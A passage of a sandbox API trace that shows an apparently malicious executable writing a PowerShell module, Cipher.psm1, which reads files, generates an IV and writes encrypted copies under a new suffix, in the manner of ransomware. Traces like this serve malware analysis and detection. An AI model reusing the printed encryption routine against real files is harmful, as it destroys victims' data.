dwShareMode=0x1, lpSecurityAttributes=0x1cde78, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.216] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.216] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.216] GetFileType (hFile=0x1c) returned 0x1 [0063.216] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc43 [0063.216] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cde90*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cde90*=0) returned 0xc42 [0063.216] ReadFile (in: hFile=0x1c, lpBuffer=0x1cde88, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cde84, lpOverlapped=0x0 | out: lpBuffer=0x1cde88*, lpNumberOfBytesRead=0x1cde84*=0x1, lpOverlapped=0x0) returned 1 [0063.216] GetConsoleTitleW (in: lpConsoleTitle=0x1cdca8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xd8) returned 0x605380 [0063.217] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605380, Size=0x58) returned 0x605380 [0063.217] GetProcessHeap () returned 0x5d0000 [0063.217] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x605380) returned 0x58 [0063.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x7a) returned 0x6053e0 [0063.217] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cdc70 | out: _Buffer=" $Files = Get-Item -LiteralPath $FileName \r\n") returned 52 [0063.217] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.217] GetFileType (hFile=0x1c) returned 0x1 [0063.217] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Files = Get-Item -LiteralPath $FileName \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Files = Get-Item -LiteralPath $FileName \r\n", lpUsedDefaultChar=0x0) returned 53 [0063.217] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x1cdc5c, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cdc5c*=0x34, lpOverlapped=0x0) returned 1 [0063.217] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.219] _close (_FileHandle=3) returned 0 [0063.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb328 [0063.219] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.219] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.219] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.219] GetFileType (hFile=0x7) returned 0x2 [0063.220] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.220] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cde44 | out: lpMode=0x1cde44) returned 1 [0063.220] _dup (_FileHandle=1) returned 3 [0063.220] _close (_FileHandle=1) returned 0 [0063.221] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.221] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cde14, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.221] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.221] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.221] GetFileType (hFile=0x1c) returned 0x1 [0063.221] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc77 [0063.221] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cde2c*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cde2c*=0) returned 0xc76 [0063.221] ReadFile (in: hFile=0x1c, lpBuffer=0x1cde24, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cde20, lpOverlapped=0x0 | out: lpBuffer=0x1cde24*, lpNumberOfBytesRead=0x1cde20*=0x1, lpOverlapped=0x0) returned 1 [0063.221] GetConsoleTitleW (in: lpConsoleTitle=0x1cdc44, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.222] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x170) returned 0x605468 [0063.222] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605468, Size=0x94) returned 0x605468 [0063.222] GetProcessHeap () returned 0x5d0000 [0063.222] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x605468) returned 0x94 [0063.222] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xc6) returned 0x605508 [0063.222] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cdc0c | out: _Buffer=" ForEach($File in $Files) { $DestinationFile = $File.FullName + $Suffix \r\n") returned 90 [0063.222] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.222] GetFileType (hFile=0x1c) returned 0x1 [0063.222] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ForEach($File in $Files) { $DestinationFile = $File.FullName + $Suffix \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ForEach($File in $Files) { $DestinationFile = $File.FullName + $Suffix \r\n", lpUsedDefaultChar=0x0) returned 91 [0063.222] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x1cdbf8, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cdbf8*=0x5a, lpOverlapped=0x0) returned 1 [0063.222] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.224] _close (_FileHandle=3) returned 0 [0063.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb348 [0063.224] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.224] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.224] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.224] GetFileType (hFile=0x7) returned 0x2 [0063.224] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.224] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cdde0 | out: lpMode=0x1cdde0) returned 1 [0063.225] _dup (_FileHandle=1) returned 3 [0063.225] _close (_FileHandle=1) returned 0 [0063.226] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.226] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cddb0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.226] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.226] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.226] GetFileType (hFile=0x1c) returned 0x1 [0063.226] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcd1 [0063.226] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cddc8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cddc8*=0) returned 0xcd0 [0063.226] ReadFile (in: hFile=0x1c, lpBuffer=0x1cddc0, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cddbc, lpOverlapped=0x0 | out: lpBuffer=0x1cddc0*, lpNumberOfBytesRead=0x1cddbc*=0x1, lpOverlapped=0x0) returned 1 [0063.226] GetConsoleTitleW (in: lpConsoleTitle=0x1cdbe0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x74) returned 0x5ec058 [0063.226] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5ec058, Size=0x16) returned 0x5eb368 [0063.226] GetProcessHeap () returned 0x5d0000 [0063.226] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5eb368) returned 0x16 [0063.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x48) returned 0x601da8 [0063.227] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cdba8 | out: _Buffer=" Try { \r\n") returned 27 [0063.227] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.227] GetFileType (hFile=0x1c) returned 0x1 [0063.227] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Try { \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Try { \r\n", lpUsedDefaultChar=0x0) returned 28 [0063.227] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x1cdb94, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cdb94*=0x1b, lpOverlapped=0x0) returned 1 [0063.227] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.229] _close (_FileHandle=3) returned 0 [0063.229] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb388 [0063.229] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.229] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.229] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.229] GetFileType (hFile=0x7) returned 0x2 [0063.230] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.230] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cdd7c | out: lpMode=0x1cdd7c) returned 1 [0063.230] _dup (_FileHandle=1) returned 3 [0063.230] _close (_FileHandle=1) returned 0 [0063.231] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.231] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cdd4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.231] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.231] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.231] GetFileType (hFile=0x1c) returned 0x1 [0063.231] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcec [0063.231] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cdd64*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cdd64*=0) returned 0xceb [0063.231] ReadFile (in: hFile=0x1c, lpBuffer=0x1cdd5c, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cdd58, lpOverlapped=0x0 | out: lpBuffer=0x1cdd5c*, lpNumberOfBytesRead=0x1cdd58*=0x1, lpOverlapped=0x0) returned 1 [0063.231] GetConsoleTitleW (in: lpConsoleTitle=0x1cdb7c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1d4) returned 0x6055d8 [0063.232] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6055d8, Size=0xc4) returned 0x6055d8 [0063.232] GetProcessHeap () returned 0x5d0000 [0063.232] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x6055d8) returned 0xc4 [0063.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xf8) returned 0x6056a8 [0063.232] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cdb44 | out: _Buffer=" $FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open) \r\n") returned 115 [0063.232] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.232] GetFileType (hFile=0x1c) returned 0x1 [0063.232] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open) \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open) \r\n", lpUsedDefaultChar=0x0) returned 116 [0063.232] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x1cdb30, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cdb30*=0x73, lpOverlapped=0x0) returned 1 [0063.232] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.234] _close (_FileHandle=3) returned 0 [0063.234] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb3a8 [0063.234] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.234] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.234] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.234] GetFileType (hFile=0x7) returned 0x2 [0063.234] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.235] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cdd18 | out: lpMode=0x1cdd18) returned 1 [0063.235] _dup (_FileHandle=1) returned 3 [0063.235] _close (_FileHandle=1) returned 0 [0063.236] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.236] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cdce8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.236] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.236] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.236] GetFileType (hFile=0x1c) returned 0x1 [0063.236] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd5f [0063.236] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cdd00*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cdd00*=0) returned 0xd5e [0063.236] ReadFile (in: hFile=0x1c, lpBuffer=0x1cdcf8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cdcf4, lpOverlapped=0x0 | out: lpBuffer=0x1cdcf8*, lpNumberOfBytesRead=0x1cdcf4*=0x1, lpOverlapped=0x0) returned 1 [0063.236] GetConsoleTitleW (in: lpConsoleTitle=0x1cdb18, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.288] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1e4) returned 0x6057a8 [0063.288] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6057a8, Size=0xcc) returned 0x6057a8 [0063.288] GetProcessHeap () returned 0x5d0000 [0063.288] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x6057a8) returned 0xcc [0063.288] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x100) returned 0x605880 [0063.288] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cdae0 | out: _Buffer=" $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create) \r\n") returned 119 [0063.288] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.288] GetFileType (hFile=0x1c) returned 0x1 [0063.288] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create) \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create) \r\n", lpUsedDefaultChar=0x0) returned 120 [0063.288] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x1cdacc, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cdacc*=0x77, lpOverlapped=0x0) returned 1 [0063.289] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.291] _close (_FileHandle=3) returned 0 [0063.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb3c8 [0063.292] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.292] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.292] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.292] GetFileType (hFile=0x7) returned 0x2 [0063.292] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.292] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cdcb4 | out: lpMode=0x1cdcb4) returned 1 [0063.293] _dup (_FileHandle=1) returned 3 [0063.293] _close (_FileHandle=1) returned 0 [0063.294] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.294] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cdc84, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.294] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.294] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.294] GetFileType (hFile=0x1c) returned 0x1 [0063.294] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdd6 [0063.294] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cdc9c*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cdc9c*=0) returned 0xdd5 [0063.294] ReadFile (in: hFile=0x1c, lpBuffer=0x1cdc94, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cdc90, lpOverlapped=0x0 | out: lpBuffer=0x1cdc94*, lpNumberOfBytesRead=0x1cdc90*=0x1, lpOverlapped=0x0) returned 1 [0063.294] GetConsoleTitleW (in: lpConsoleTitle=0x1cdab4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.295] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xac) returned 0x605988 [0063.295] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605988, Size=0x34) returned 0x605988 [0063.295] GetProcessHeap () returned 0x5d0000 [0063.295] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x605988) returned 0x34 [0063.295] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x64) returned 0x602b40 [0063.295] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cda7c | out: _Buffer=" $Crypto.GenerateIV() \r\n") returned 41 [0063.295] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.295] GetFileType (hFile=0x1c) returned 0x1 [0063.295] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto.GenerateIV() \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto.GenerateIV() \r\n", lpUsedDefaultChar=0x0) returned 42 [0063.295] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x1cda68, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cda68*=0x29, lpOverlapped=0x0) returned 1 [0063.295] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.297] _close (_FileHandle=3) returned 0 [0063.297] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb3e8 [0063.297] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.297] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.297] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.297] GetFileType (hFile=0x7) returned 0x2 [0063.298] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.299] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cdc50 | out: lpMode=0x1cdc50) returned 1 [0063.299] _dup (_FileHandle=1) returned 3 [0063.299] _close (_FileHandle=1) returned 0 [0063.300] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.300] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cdc20, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.300] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.300] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.300] GetFileType (hFile=0x1c) returned 0x1 [0063.300] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdff [0063.300] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cdc38*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cdc38*=0) returned 0xdfe [0063.300] ReadFile (in: hFile=0x1c, lpBuffer=0x1cdc30, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cdc2c, lpOverlapped=0x0 | out: lpBuffer=0x1cdc30*, lpNumberOfBytesRead=0x1cdc2c*=0x1, lpOverlapped=0x0) returned 1 [0063.300] GetConsoleTitleW (in: lpConsoleTitle=0x1cda50, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.300] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x19c) returned 0x6059c8 [0063.300] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6059c8, Size=0xaa) returned 0x6059c8 [0063.301] GetProcessHeap () returned 0x5d0000 [0063.301] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x6059c8) returned 0xaa [0063.301] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xdc) returned 0x605a80 [0063.301] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cda18 | out: _Buffer=" $FileStreamWriter.Write([System.BitConverter]::GetBytes($Crypto.IV.Length), 0, 4) \r\n") returned 101 [0063.301] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.301] GetFileType (hFile=0x1c) returned 0x1 [0063.301] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $FileStreamWriter.Write([System.BitConverter]::GetBytes($Crypto.IV.Length), 0, 4) \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $FileStreamWriter.Write([System.BitConverter]::GetBytes($Crypto.IV.Length), 0, 4) \r\n", lpUsedDefaultChar=0x0) returned 102 [0063.301] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x1cda04, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cda04*=0x65, lpOverlapped=0x0) returned 1 [0063.301] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.303] _close (_FileHandle=3) returned 0 [0063.303] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb408 [0063.303] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.303] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.303] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.303] GetFileType (hFile=0x7) returned 0x2 [0063.304] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.304] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cdbec | out: lpMode=0x1cdbec) returned 1 [0063.304] _dup (_FileHandle=1) returned 3 [0063.304] _close (_FileHandle=1) returned 0 [0063.305] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.305] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cdbbc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.305] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.305] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.305] GetFileType (hFile=0x1c) returned 0x1 [0063.305] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe64 [0063.305] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cdbd4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cdbd4*=0) returned 0xe63 [0063.305] ReadFile (in: hFile=0x1c, lpBuffer=0x1cdbcc, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cdbc8, lpOverlapped=0x0 | out: lpBuffer=0x1cdbcc*, lpNumberOfBytesRead=0x1cdbc8*=0x1, lpOverlapped=0x0) returned 1 [0063.305] GetConsoleTitleW (in: lpConsoleTitle=0x1cd9ec, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.307] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x13c) returned 0x605b68 [0063.307] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605b68, Size=0x7a) returned 0x605b68 [0063.307] GetProcessHeap () returned 0x5d0000 [0063.307] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x605b68) returned 0x7a [0063.307] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xac) returned 0x605bf0 [0063.308] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd9b4 | out: _Buffer=" $FileStreamWriter.Write($Crypto.IV, 0, $Crypto.IV.Length) \r\n") returned 77 [0063.308] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.308] GetFileType (hFile=0x1c) returned 0x1 [0063.308] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $FileStreamWriter.Write($Crypto.IV, 0, $Crypto.IV.Length) \r\n", 